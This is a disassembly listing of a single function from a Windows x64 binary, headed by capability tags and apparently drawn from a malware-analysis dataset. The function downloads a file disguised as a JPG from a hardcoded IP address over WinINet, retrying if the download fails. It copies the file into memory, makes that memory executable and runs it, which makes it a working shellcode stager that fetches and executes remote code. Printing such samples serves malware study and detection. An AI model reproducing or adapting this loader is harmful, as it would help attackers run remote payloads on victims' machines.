Function at 0x140001e98
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rbp - 8], rax
xor edi, edi
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x10], 7
mov word [rbp - 0x28], di
lea rdx, str.http:__206.238.179.135_chfs_shared_bin_64.jpg
lea rcx, [rbp - 0x28]
call fcn.14000282c
nop
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Download
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
jne 0x140001f44
lea rdx, str.Failed_to_initialize_WinINet.
call fcn.140002e48
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140002ca8
mov dl, al
mov rcx, rbx
call fcn.1400034d0
mov rcx, rbx
call fcn.140002aec
jmp 0x14000211f
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rdx, qword [rbp - 0x28]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x84000100
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r14, rax
test rax, rax
jne 0x140001fb5
lea rdx, str.Failed_to_open_URL._Retrying_in_6_seconds...
call fcn.140002e48
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140002ca8
mov dl, al
mov rcx, rbx
call fcn.1400034d0
mov rcx, rbx
call fcn.140002aec
mov ecx, 0x2328
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001f44
mov dword [rbp - 0x40], edi
mov ebx, 4
mov dword [rbp - 0x3c], ebx
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x3c]
lea r8, [rbp - 0x40]
mov edx, 0x20000005
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x140002016
lea rdx, str.Failed_to_get_file_size.
call fcn.140002e48
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140002ca8
mov dl, al
mov rcx, rbx
call fcn.1400034d0
mov rcx, rbx
call fcn.140002aec
jmp 0x140002099
mov edx, dword [rbp - 0x40]
mov r9d, ebx
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x14000203b
lea rdx, str.Failed_to_allocate_memory.
jmp 0x140001fe6
mov dword [rbp - 0x38], edi
lea r9, [rbp - 0x38]
mov r8d, dword [rbp - 0x40]
mov rdx, rsi
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400020ad
lea rdx, str.Failed_to_read_file.
call fcn.140002e48
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140002ca8
mov dl, al
mov rcx, rbx
call fcn.1400034d0
mov rcx, rbx
call fcn.140002aec
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000211f
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rbp - 0x34], edi
mov edx, dword [rbp - 0x40]
lea r9, [rbp - 0x34]
mov r8d, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002126
lea rdx, str.Failed_to_set_memory_page_protection.
call fcn.140002e48
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140002ca8
mov dl, al
mov rcx, rbx
call fcn.1400034d0
mov rcx, rbx
call fcn.140002aec
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 1
jmp 0x14000213a
call rsi
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
lea rcx, [rbp - 0x28]
call fcn.1400027c8
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140003890
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret